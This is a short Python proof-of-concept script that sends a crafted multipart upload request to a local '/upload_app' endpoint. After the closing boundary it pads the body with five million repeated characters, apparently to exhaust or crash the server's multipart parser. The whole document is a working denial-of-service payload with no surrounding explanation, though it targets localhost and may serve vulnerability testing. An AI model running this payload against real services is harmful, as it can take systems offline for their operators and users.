import requests

num = 5000000
url = "http://localhost:9600/upload_app"
headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069"
}

# The exact raw payload as specified
data = (
    "-----------------------------284178091740602105783377960069\r\n"
    "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "Hello I am test\r\n"
    "-----------------------------284178091740602105783377960069--" + '4' * num + "\r\n"
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)

print(response.status_code)
print(response.text)